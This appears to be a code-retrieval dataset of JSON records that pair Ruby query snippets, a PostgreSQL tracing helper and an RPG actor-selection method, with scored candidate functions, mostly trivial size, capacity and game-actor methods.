[ { "docid": "c623504e0e81fce84e44adc6c8e19c4a", "score": "0.0", "text": "def span_attrs(kind, *args) # rubocop:disable Metrics/AbcSize\n if kind == :query\n operation = extract_operation(args[0])\n sql = obfuscate_sql(args[0]).to_s\n else\n statement_name = args[0]\n\n if kind == :prepare\n sql = obfuscate_sql(args[1]).to_s\n lru_cache[statement_name] = sql\n operation = 'PREPARE'\n else\n sql = lru_cache[statement_name]\n operation = 'EXECUTE'\n end\n end\n\n attrs = { 'db.operation' => validated_operation(operation), 'db.postgresql.prepared_statement_name' => statement_name }\n attrs['db.statement'] = sql unless config[:db_statement] == :omit\n attrs.reject! { |_, v| v.nil? }\n\n [span_name(operation), client_attributes.merge(attrs)]\n end", "title": "" } ]
[ { "docid": "978457f08b58776f5cfb90fcb9e1ebc7", "score": "0.60121536", "text": "def method_size_cutoff=(_arg0); end", "title": "" }, { "docid": "978457f08b58776f5cfb90fcb9e1ebc7", "score": "0.60121536", "text": "def method_size_cutoff=(_arg0); end", "title": "" }, { "docid": "1c927e3c32e196088f1eba94a0a0ff29", "score": "0.5968675", "text": "def megabytes; end", "title": "" }, { "docid": "0eb0037fd9be29944ebfb8ec3eb5606f", "score": "0.58431005", "text": "def test_recommended_pr_size\n assert_equal ChangeLimiter::PR_SIZE[:recommended], 200\n end", "title": "" }, { "docid": "01b60ec690dbddfaf731778c73c7ae93", "score": "0.57910085", "text": "def specific_max_size(number); end", "title": "" }, { "docid": "f666a03dab2811b4860f9a1257542db9", "score": "0.5728226", "text": "def exabytes; end", "title": "" }, { "docid": "fad5be0429c7f4efd49b94c669b205f7", "score": "0.5669346", "text": "def codeblock_sizes\n end", "title": "" }, { "docid": "65c4dc6e7aa5525f8d17846543c3375d", "score": "0.56354654", "text": "def minimum_coverage; end", "title": "" }, { "docid": "540b07a078c1494db9bd4850a843e879", "score": "0.55978215", "text": "def size_mb\n (asset_file_size.to_f / 1_000 / 1_024).round(2)\n end", "title": "" }, { "docid": "54b389996840a8717e1b6b4b3f3e9aaf", "score": "0.5574028", "text": "def max_size; end", "title": "" }, { "docid": "9e4c865da2e5fb260386d9a74ef1f985", "score": "0.5552556", "text": "def maximum_size; end", "title": "" }, { "docid": "f31600deaab4db5501e554bf6a9841c6", "score": "0.5538689", "text": "def reduce_max_size\n @max_size /= 2\n end", "title": "" }, { "docid": "f6957489358ad6c5feff4966477fcc1c", "score": "0.5532905", "text": "def minimum_coverage_by_file; end", "title": "" }, { "docid": "8b10b74eba492d0e4c3144ec65e7905c", "score": "0.552563", "text": "def size_range\n 1..5.megabytes\n end", "title": "" }, { "docid": "2312e401a8c94701975ebb0e5a480613", "score": "0.5510154", "text": "def original_size; end", "title": "" }, { "docid": "0405a1a0cec59e821da03d9bffe6b0b7", "score": "0.5500871", "text": "def maximum_coverage_drop; end", "title": "" }, { "docid": "b34f064b909b759dff3fde72bfc93568", "score": "0.5491866", "text": "def verify_sizing(size, concurrency); end", "title": "" }, { "docid": "bcceea2e517aced4d76c6b46b58d7957", "score": "0.54864997", "text": "def size_limit\n SIZE_LIMIT\n end", "title": "" }, { "docid": "bcceea2e517aced4d76c6b46b58d7957", "score": "0.54864997", "text": "def size_limit\n SIZE_LIMIT\n end", "title": "" }, { "docid": "05f720953182487e025069ae99c567a8", "score": "0.54823595", "text": "def megabytes n\n n*1024*1024\nend", "title": "" }, { "docid": "5513f4f3d75ef83822fb26dd4d06ecdb", "score": "0.547931", "text": "def gigabytes; end", "title": "" }, { "docid": "83617ea943f9ef885c248ce48b9040b4", "score": "0.54558593", "text": "def lib_size\n contents_size = dir_size(\"lib\")\n return unless contents_size\n\n lines_count_estimation = contents_size / 25\n return lines_count_estimation if lines_count_estimation < 100\n\n lines_count_estimation - lines_count_estimation % 100\n end", "title": "" }, { "docid": "b018e7e662608bd9cbb4f69f6e1e0d9b", "score": "0.54457843", "text": "def custom_memory_ratio\n super\n end", "title": "" }, { "docid": "c4da44d9d22388f2bbb172b3c2f74956", "score": "0.5432694", "text": "def terabytes; end", "title": "" }, { "docid": "e8ebb2fa35c05c9ad07a64ae83b8615a", "score": "0.54293525", "text": "def size_range\n 1..0.6.megabytes\n end", "title": "" }, { "docid": "5f14c02ea6e9ce5fc757e3bf13ce2320", "score": "0.54292977", "text": "def action_queue_size\n\t\t\t# bd_size = village.buildings.find(:type => Building.hashes[:residential], :status => Building::STATUS[:finished]).size\n\t\t\t# self.tech_worker_number * bd_size\n\t\t\t4\n\t\tend", "title": "" }, { "docid": "baf3e7220dc89c7800d7edbdccb353cb", "score": "0.5414873", "text": "def kilobytes; end", "title": "" }, { "docid": "3ce46e311b09944dec3dc9cc79924a04", "score": "0.53775424", "text": "def recommended_size\n [\n [((Math.log(permutations))**2).ceil, 20000].min,\n [6, permutations].min,\n 3\n ].max\n end", "title": "" }, { "docid": "3436529dcc6f93d4cd2c6cbdec49705b", "score": "0.53647876", "text": "def calculate_size\n trace_chunks.order(chunk_index: :desc).first.try(&:end_offset).to_i\n end", "title": "" }, { "docid": "878ad9b7ddb7d07405c1fdf086acd0a0", "score": "0.5341014", "text": "def module_length\n @module_length ||= length_overall / qr.modules.count\n end", "title": "" }, { "docid": "73c6e035819f52c112c5e2f4f11e1d66", "score": "0.53368205", "text": "def size_mb() \n return size / 1048576 #(1024 * 1024) \n end", "title": "" }, { "docid": "73c6e035819f52c112c5e2f4f11e1d66", "score": "0.53368205", "text": "def size_mb() \n return size / 1048576 #(1024 * 1024) \n end", "title": "" }, { "docid": "73c6e035819f52c112c5e2f4f11e1d66", "score": "0.53368205", "text": "def size_mb() \n return size / 1048576 #(1024 * 1024) \n end", "title": "" }, { "docid": "c3fdfcd34bc32e88a3f53977baf0714b", "score": "0.53285253", "text": "def test_create_initializes_sizes\n max_size = 273\n chunk = 1527\n plan = Plan.new(max_size,chunk)\n assert_equal 0, plan.size\n assert_equal max_size, plan.max_size\n assert_equal chunk, plan.chunk_size\n end", "title": "" }, { "docid": "1942e870dc8e3ea199a3030d01be8901", "score": "0.53201234", "text": "def gigabyte; end", "title": "" }, { "docid": "89952e2511f8e3206e5d8b81320e134a", "score": "0.53007716", "text": "def megabytes\n self * MEGABYTE\n end", "title": "" }, { "docid": "42132451c6a62aea9d0bbe45f319cd37", "score": "0.5300185", "text": "def shrink_to_fit; end", "title": "" }, { "docid": "8d044767215160cade23a0fc6012f110", "score": "0.52905285", "text": "def icon_size\n errors.add(:icon, 'should be less than 5MB') if icon.size > 5.megabytes\n end", "title": "" }, { "docid": "9091d1d9819aa68e6c8b444bbd550334", "score": "0.5285336", "text": "def size_range\n #Range is 1 byte to 100 megabyte.\n 1..100.megabytes\n end", "title": "" }, { "docid": "e32ebd397e0902098369a8f113002f8f", "score": "0.5283933", "text": "def gigabytes n\n n*1024*1024*1024\nend", "title": "" }, { "docid": "e7591a72588c4f81b5447e1f49386f59", "score": "0.52801514", "text": "def exabyte; end", "title": "" }, { "docid": "4065f11ceef83e4e67a93b628b560889", "score": "0.5276448", "text": "def mem_usage; end", "title": "" }, { "docid": "6b45dff643446d3c3cc6da60135d67f8", "score": "0.5273852", "text": "def recommended_size\n [\n [(permutations / 1000), 1000].min,\n [ 10, permutations ].min,\n ].max\n end", "title": "" }, { "docid": "5cd3ff99d0c41dc845089e61b0929712", "score": "0.5271839", "text": "def fbe_allocation_size(value)\n 4 + 3 * (value.length + 1)\n end", "title": "" }, { "docid": "7d8aa52989d859afcb491df85a54a5f0", "score": "0.52694887", "text": "def human_size(n)\n return \"0 B\" if n.zero?\n sizes = %w{B KiB MiB GiB TiB PiB EiB ZiB YiB}\n x = (Math.log(n) / Math.log(1024)).floor\n n = n / (1024.0 ** x)\n n = n.round(2)\n n = n.to_i if n.round == n\n \"#{n} #{sizes[x]}\"\nend", "title": "" }, { "docid": "2a954fb2b2fad48d64d51e1fcbdbe8c0", "score": "0.5263599", "text": "def capture_size # :nodoc:\n return 0 if @show_reason\n\n max_http_method_length = HTTP_METHODS.map { |method| method.length }.max\n\n 100 + max_http_method_length\n end", "title": "" }, { "docid": "addb00a53e68a5d12d7446d4aa91ee73", "score": "0.52617073", "text": "def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)\n space += 31\n\n # Reliability adds bytes! +56 if exitfunk, otherwise +90\n #space += 56\n space += 90\n\n space += uuid_required_size if include_send_uuid\n\n # The final estimated size\n space\n end", "title": "" }, { "docid": "72bc5cf0ca1acd080fcd4acc3fec182e", "score": "0.52594405", "text": "def queueing_method_bucket_size(opts)\n opts = check_params(opts,[:queues])\n super(opts)\n end", "title": "" }, { "docid": "f99110144efd8f838eda0ea4e0eb90fa", "score": "0.52352864", "text": "def bucket_size\n @bucket_size ||= nice(raw_bucket_size) { |b| b * 1.05 }\n end", "title": "" }, { "docid": "057fe7f58d11e20c9a82ed9af9488e3d", "score": "0.5234874", "text": "def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # Add 100 bytes for the encoder to have some room\n space += 100\n\n # Make room for the maximum possible URL length\n space += 256\n\n # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)\n space += 31\n\n # Proxy options?\n space += 200\n\n # Custom headers? Ugh, impossible to tell\n space += 512\n\n # The final estimated size\n space\n end", "title": "" }, { "docid": "057fe7f58d11e20c9a82ed9af9488e3d", "score": "0.5234874", "text": "def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # Add 100 bytes for the encoder to have some room\n space += 100\n\n # Make room for the maximum possible URL length\n space += 256\n\n # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)\n space += 31\n\n # Proxy options?\n space += 200\n\n # Custom headers? Ugh, impossible to tell\n space += 512\n\n # The final estimated size\n space\n end", "title": "" }, { "docid": "425ab49df5216f219ad84b251ba50d4c", "score": "0.5234539", "text": "def allocation_metrics; end", "title": "" }, { "docid": "425ab49df5216f219ad84b251ba50d4c", "score": "0.5234539", "text": "def allocation_metrics; end", "title": "" }, { "docid": "a23780b08c4efc5204fe9e3aa125fe1f", "score": "0.52342725", "text": "def size\n raise \"abstract method '#{__callee__}' called\"\n end", "title": "" }, { "docid": "0577633f0c6c0985fa8841b71bb73af9", "score": "0.5233053", "text": "def remaining_capacity; end", "title": "" }, { "docid": "0577633f0c6c0985fa8841b71bb73af9", "score": "0.5233053", "text": "def remaining_capacity; end", "title": "" }, { "docid": "eb8ec23efe1e8a0c424af8a7a94f3fe1", "score": "0.5230763", "text": "def megabytes\n self * 1024\n end", "title": "" }, { "docid": "1ca3cce47cce475e564be759856e8f40", "score": "0.5219114", "text": "def size\n original_size * 2 - 1\n end", "title": "" }, { "docid": "5caa22d60773adecd02501f25e12474d", "score": "0.52181756", "text": "def required_space\n # Start with our cached default generated size\n space = cached_size\n\n # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.\n space += 29\n\n # Reliability adds some bytes!\n space += 44\n\n space += uuid_required_size if include_send_uuid\n\n # The final estimated size\n space\n end", "title": "" }, { "docid": "7c6784af8cc226f480eff779a8abebf7", "score": "0.5205539", "text": "def stack_size; end", "title": "" }, { "docid": "ab6a2d01f55952dc74726e9589757f68", "score": "0.5202229", "text": "def estimated_size\n @estimated_size ||= compile_steps(sources).sum { |source| source.call(context).count }\n end", "title": "" }, { "docid": "72715c82fd214608ddc74a1dc89f24d0", "score": "0.52012664", "text": "def upload_quota\n return 2000.megabytes\n end", "title": "" }, { "docid": "fe067727569e1af05bce5b953bb4b85d", "score": "0.51989436", "text": "def capacity; end", "title": "" }, { "docid": "fe067727569e1af05bce5b953bb4b85d", "score": "0.5197866", "text": "def capacity; end", "title": "" }, { "docid": "946f34476282b1b4e0160252a63c056e", "score": "0.5191923", "text": "def cover_size\n errors.add(:cover, \"must be less than 500kb\") if cover.size > 500.kilobytes\n end", "title": "" }, { "docid": "40d932a967cd8b6ba6fc7b4153b7af08", "score": "0.51855195", "text": "def size_limits(min, max)\n end", "title": "" }, { "docid": "ade4dba611204a3b53eea23c16827ea9", "score": "0.51790327", "text": "def coverage_exceeding_source_warn; end", "title": "" }, { "docid": "c41e01c4e4bb801501e7f1e45befd39c", "score": "0.51712584", "text": "def CountSizeToBeInstalled\n sz = 0\n media_sizes = Pkg.PkgMediaSizes\n\n Builtins.foreach(media_sizes) { |inst_sizes| Builtins.foreach(inst_sizes) do |inst_size|\n sz = Ops.add(sz, inst_size)\n end } \n\n\n Builtins.y2milestone(\n \"Total size of packages to install %1 (%2kB)\",\n sz,\n Ops.divide(sz, 1024)\n )\n String.FormatSizeWithPrecision(sz, 1, true)\n end", "title": "" }, { "docid": "33e7caf8177a709e4b2f94aff2a95845", "score": "0.517089", "text": "def expected_size\n limited? ? limit : offset_size\n end", "title": "" }, { "docid": "6980af180368519363e7312f3b904002", "score": "0.5152547", "text": "def petabytes; end", "title": "" }, { "docid": "24c474075e9d580caf2c3c8c02cd598e", "score": "0.5146795", "text": "def terabyte; end", "title": "" }, { "docid": "9dcf2ed0d358f1b8bdadf979bb919435", "score": "0.51387346", "text": "def max_bm_items; 25_000_000 end", "title": "" }, { "docid": "4f1645d021856ee02bd1a0c0bdab7a5e", "score": "0.51383567", "text": "def size\n covered_units.size\n end", "title": "" }, { "docid": "f631c7ee09b2147aeb8d5b68d602a7a8", "score": "0.5136612", "text": "def max_size\n 1\n end", "title": "" }, { "docid": "f631c7ee09b2147aeb8d5b68d602a7a8", "score": "0.5136612", "text": "def max_size\n 1\n end", "title": "" }, { "docid": "b914173a1d6f4ec3e8789626ef3f171a", "score": "0.51347", "text": "def argument_size; end", "title": "" }, { "docid": "3619529a4c0e7a64f6acf18d5f380f35", "score": "0.51329684", "text": "def dead_size\n [10, 12][self.class.calls]\n end", "title": "" }, { "docid": "60b953a3a3ba4b346f476c786a5a2799", "score": "0.5127951", "text": "def repo_size; end", "title": "" }, { "docid": "e87ddb90d89f42c4156f25f332ef3658", "score": "0.5122869", "text": "def bulk_job_size\n if defined? @bulk_job_size\n @bulk_job_size\n else\n 5000\n end\n end", "title": "" }, { "docid": "e704e476801828106780ceb8d3eef439", "score": "0.5122338", "text": "def bulk_job_size\n if defined? @bulk_job_size\n @bulk_job_size\n else\n 5000\n end\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" }, { "docid": "999300c61e45cd2fb853a1d910abf872", "score": "0.5114516", "text": "def fbe_allocation_size(value)\n fbe_size\n end", "title": "" } ]
95a04ca14bc17527858fc2352f38ef51
////////////////////////////////////////////////////////////////////////// Properties ////////////////////////////////////////////////////////////////////////// Get a specific selected actor or current actor i : index of the selected actor GET
[ { "docid": "0fb7a8b5bdbe2fc584cc9a653ae70504", "score": "0.8487947", "text": "def selected_actor(i=nil)\n actor = nil\n if i == nil\n actor = @data[self.index]\n else\n actor = (index < 0 || self.index(i) < 0 ? nil : @data[self.index(i)])\n end\n return actor\n end", "title": "" } ]
[ { "docid": "5d17c85a30eafca4a286c7830474e66f", "score": "0.71798676", "text": "def selected_reserve_actor(i=nil)\n actor = nil\n if i == nil\n actor = @data[self.index]\n else\n actor = (index < 0 || self.index(i) < 0 ? nil : @data[self.index(i)])\n end\n return actor\n end", "title": "" }, { "docid": "3de2991e9f1b3d64df6069b4a4d8099c", "score": "0.7124002", "text": "def actor(id) $game_actors[id] end", "title": "" }, { "docid": "d9cc1eec783b9acda5cb740b573da8d1", "score": "0.68910056", "text": "def actor\n return @actor\n end", "title": "" }, { "docid": "d9cc1eec783b9acda5cb740b573da8d1", "score": "0.68910056", "text": "def actor\n return @actor\n end", "title": "" }, { "docid": "5af03d57d16f3f56e49468d3492614b7", "score": "0.6883011", "text": "def smooth_target_actor(actor_index)\n # Get an actor\n actor = @actors[actor_index]\n # If an actor exists\n if actor != nil and actor.exist?\n return actor\n end\n # Loop\n for actor in @actors\n # If an actor exists\n if actor.exist?\n return actor\n end\n end\n end", "title": "" }, { "docid": "5af03d57d16f3f56e49468d3492614b7", "score": "0.6883011", "text": "def smooth_target_actor(actor_index)\n # Get an actor\n actor = @actors[actor_index]\n # If an actor exists\n if actor != nil and actor.exist?\n return actor\n end\n # Loop\n for actor in @actors\n # If an actor exists\n if actor.exist?\n return actor\n end\n end\n end", "title": "" }, { "docid": "5af03d57d16f3f56e49468d3492614b7", "score": "0.6883011", "text": "def smooth_target_actor(actor_index)\n # Get an actor\n actor = @actors[actor_index]\n # If an actor exists\n if actor != nil and actor.exist?\n return actor\n end\n # Loop\n for actor in @actors\n # If an actor exists\n if actor.exist?\n return actor\n end\n end\n end", "title": "" }, { "docid": "c4256400bc2340861f91757ee599d950", "score": "0.68371814", "text": "def target_actor\r\n $game_actors[@target_actor_id] || members[0]\r\n end", "title": "" }, { "docid": "ba4792ca16007ee94d621a5cbca2587a", "score": "0.66364294", "text": "def data\n actor = @act_list[self.index]\n if actor.is_a?(Array)\n return actor[0]\n else\n return actor\n end\n end", "title": "" }, { "docid": "92f3e731dc1770b6d49d872e0a0939a2", "score": "0.66063064", "text": "def index(actor_id)\n result = nil\n if @actors.include?(actor_id)\n result = @actor_positions[@actors.index(actor_id)]\n end\n return result\n end", "title": "" }, { "docid": "9c3b84e505fff6d2af90c9bdd458b112", "score": "0.6586905", "text": "def actor\n @actor ||= Actor.lookup(self.object_id.to_s.to_sym)\n end", "title": "" }, { "docid": "9d5e77c5f76e26e50bb41f88a1e8e83f", "score": "0.65336967", "text": "def [](actor_id)\n if @data[actor_id] == nil and $data_actors[actor_id] != nil\n @data[actor_id] = Game_Actor.new(actor_id)\n end\n return @data[actor_id]\n end", "title": "" }, { "docid": "777e5fdfd1bd222b628daacdd3561e00", "score": "0.65284204", "text": "def actor;\n @actor;\n end", "title": "" }, { "docid": "8ef64949c9bd93f95f8b306abe2d519a", "score": "0.65246445", "text": "def actor\n fetch('the_fresh_prince_of_bel_air.actors')\n end", "title": "" }, { "docid": "cd5d0cb90228ba18b50529f1d0f29b82", "score": "0.65101576", "text": "def [](actor_id)\n if actor_id > 999 or $data_actors[actor_id] == nil\n return nil\n end\n if @data[actor_id] == nil\n @data[actor_id] = Game_Actor.new(actor_id)\n end\n return @data[actor_id]\n end", "title": "" }, { "docid": "cd5d0cb90228ba18b50529f1d0f29b82", "score": "0.65101576", "text": "def [](actor_id)\n if actor_id > 999 or $data_actors[actor_id] == nil\n return nil\n end\n if @data[actor_id] == nil\n @data[actor_id] = Game_Actor.new(actor_id)\n end\n return @data[actor_id]\n end", "title": "" }, { "docid": "cd5d0cb90228ba18b50529f1d0f29b82", "score": "0.65101576", "text": "def [](actor_id)\n if actor_id > 999 or $data_actors[actor_id] == nil\n return nil\n end\n if @data[actor_id] == nil\n @data[actor_id] = Game_Actor.new(actor_id)\n end\n return @data[actor_id]\n end", "title": "" }, { "docid": "f85e25a8aecb1aca2bbd83de630f9730", "score": "0.6488642", "text": "def actor\n fetch('dr_who.actors')\n end", "title": "" }, { "docid": "31b6bf512beb593ef41a80fba9779c2e", "score": "0.64442027", "text": "def menu_actor\r\n $game_actors[@menu_actor_id] || members[0]\r\n end", "title": "" }, { "docid": "82315b73657ef16c3fc2a395206e5db4", "score": "0.64040834", "text": "def actor\n fetch('buffy.actors')\n end", "title": "" }, { "docid": "8f7a334aedfe999463ce23c11347aa90", "score": "0.6336934", "text": "def actor\n @actor.to_i if @actor\n end", "title": "" }, { "docid": "4a5de4773e6e7004a030560494f78aae", "score": "0.6313874", "text": "def index\n return BlizzABS.player.actors.index(self)\n end", "title": "" }, { "docid": "4a5de4773e6e7004a030560494f78aae", "score": "0.6313874", "text": "def index\n return BlizzABS.player.actors.index(self)\n end", "title": "" }, { "docid": "50750460872810446549504338cb595a", "score": "0.63113517", "text": "def player\n return @actors[0]\n end", "title": "" }, { "docid": "50750460872810446549504338cb595a", "score": "0.63113517", "text": "def player\n return @actors[0]\n end", "title": "" }, { "docid": "fdfb775a5dc06522913260a68fa39099", "score": "0.62282497", "text": "def actor\n {\n username: object.actor.username\n }\n end", "title": "" }, { "docid": "7300a1d36c095945bd48c6a302306488", "score": "0.6183157", "text": "def get_actor_node(name)\r\n actor_nodes.each { |node| (if node.name == name then return node end)}\r\n end", "title": "" }, { "docid": "7300a1d36c095945bd48c6a302306488", "score": "0.6183157", "text": "def get_actor_node(name)\r\n actor_nodes.each { |node| (if node.name == name then return node end)}\r\n end", "title": "" }, { "docid": "fccacb82219be019980e94055a2300f2", "score": "0.61228037", "text": "def select_actor\n @selected_actor.selected = false if !(@selected_actor == nil)\n if !(@nearby_actor == nil)\n if nearby_actor?(@nearby_actor)\n @selected_actor = @nearby_actor\n @selected_actor.selected = true\n else\n @selected_actor = nil\n change_edit_mode(EditMode::NONE)\n end\n end\n end", "title": "" }, { "docid": "96a46403bcf69238a85e55e011c88699", "score": "0.6101132", "text": "def myself\n @actor\n end", "title": "" }, { "docid": "8456ecb3152409fb2cc09a462e3a8b00", "score": "0.6078899", "text": "def set_actor\n @actor = Actor.find(params[:id]).page(1).per(1)\n end", "title": "" }, { "docid": "c6d0f6fee982bc0c45623dcd4d8315d9", "score": "0.6074228", "text": "def set_actor\n @actor = Actor.friendly.find(params[:id])\n end", "title": "" }, { "docid": "2155deaaabbab4e8b3ac4142f8740248", "score": "0.6074141", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "2155deaaabbab4e8b3ac4142f8740248", "score": "0.6074141", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "2155deaaabbab4e8b3ac4142f8740248", "score": "0.6074141", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "2155deaaabbab4e8b3ac4142f8740248", "score": "0.6074141", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "20544a3706430fe0d842e39f462fd72e", "score": "0.6048639", "text": "def set_actor\n\t\t@actor = Actor.find(params[:id])\n\tend", "title": "" }, { "docid": "609eed9be37f01cbe45470059f88fc0d", "score": "0.6046035", "text": "def actor=(value)\n @actor = value\n end", "title": "" }, { "docid": "609eed9be37f01cbe45470059f88fc0d", "score": "0.6046035", "text": "def actor=(value)\n @actor = value\n end", "title": "" }, { "docid": "596ac053b7faf1182bc34c1e84bb5ef4", "score": "0.6032893", "text": "def item_target_actors\n if !item.for_friend?\n []\n elsif item.for_all?\n $game_party.members\n else\n [$game_party.members[@actor_window.index]]\n end\n end", "title": "" }, { "docid": "053e02687744011e9c8f26396f85d898", "score": "0.60253763", "text": "def name\n \tself.actor.name\n end", "title": "" }, { "docid": "f4aac160639cccf67932e372022e2c47", "score": "0.6020166", "text": "def edit\n the_actor_id = params[\"id\"]\n @actor = Actor.find_by(:id => the_actor_id)\n end", "title": "" }, { "docid": "d5f133d88ebdac7d97f685f820a50deb", "score": "0.60180235", "text": "def actor\n self[:celluloid_actor]\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "203d2a9250bf2d3c753df82ec199a462", "score": "0.6001334", "text": "def set_actor\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "394adb8b6c37423b69505cfef48b054d", "score": "0.5972986", "text": "def next_actor\n @actor = $game_party.menu_actor_next\n on_actor_change\n end", "title": "" }, { "docid": "1c6bd9ac58800c1fe2309d83e9ac9c95", "score": "0.5970258", "text": "def set_actor\n @actor = Actor.find(params[:id])\nend", "title": "" }, { "docid": "03c8f7ba32c6fa653e80b80fa6935794", "score": "0.5965984", "text": "def actor\n\t{name: \"Dwayne The Rock Johnson\"}\nend", "title": "" }, { "docid": "598cfb5e955b17d65848c919d3fdf04f", "score": "0.59318167", "text": "def actors()\n auditions = Audition.where(role_id: self.id)\n to_return = auditions.map { |audition|\n return audition.actor\n }\n\n return to_return\n end", "title": "" }, { "docid": "c1436a6ee31ccc6ebbe5adc6c739fc05", "score": "0.59269893", "text": "def actors\n self.auditions.pluck(:actor)\n end", "title": "" }, { "docid": "8b859f9dba9caa1fa3aba2040d209c20", "score": "0.5919748", "text": "def users\n [actor]\n end", "title": "" }, { "docid": "a17f32d0debf67d48e1393e8c2e03711", "score": "0.5881078", "text": "def set_toy\n @actor = Actor.find(params[:id])\n end", "title": "" }, { "docid": "e06c29187eaa9641a347305aeb8ee5b6", "score": "0.58799964", "text": "def next_actor\n @actor_index += 1\n @actor_index %= $game_party.members.size\n $scene = Scene_Equip.new(@actor_index, @equip_window.index)\n end", "title": "" }, { "docid": "e06c29187eaa9641a347305aeb8ee5b6", "score": "0.58799964", "text": "def next_actor\n @actor_index += 1\n @actor_index %= $game_party.members.size\n $scene = Scene_Equip.new(@actor_index, @equip_window.index)\n end", "title": "" }, { "docid": "261820b5c692a44c536b46469105394e", "score": "0.5871522", "text": "def actor(actor)\n id = self.class::Actor.id_for(actor)\n @actors[id] ||= self.class::Actor.new(self, actor)\n end", "title": "" }, { "docid": "f7ca43aa6eabeec2df73f9a034b0bd43", "score": "0.5869839", "text": "def index\n\t\t@actors = Actor.all\n\tend", "title": "" }, { "docid": "21ccc66930ea690b2628b27482426411", "score": "0.5863606", "text": "def determine_actor\n return @actor if @actor && @phase == Phase_Selection\n return $game_player if @phase == Phase_Map\n end", "title": "" }, { "docid": "21ccc66930ea690b2628b27482426411", "score": "0.5863606", "text": "def determine_actor\n return @actor if @actor && @phase == Phase_Selection\n return $game_player if @phase == Phase_Map\n end", "title": "" }, { "docid": "f91f64c8864467edaccfbb1ca753db18", "score": "0.5855225", "text": "def select_last\n select($game_party.target_actor.index || 0)\n end", "title": "" }, { "docid": "5cb7d3d33246304ef3afbc8b3b14f11d", "score": "0.5852601", "text": "def actor_name\n self.actor.nil? ? '' : self.actor.send(self.actor_name_method)\n end", "title": "" }, { "docid": "7043af0b67aed6d902a30ccbb1c23605", "score": "0.5851335", "text": "def actor\n return @current_event.battler if @current_event.battler.actor?\n return nil\n end", "title": "" }, { "docid": 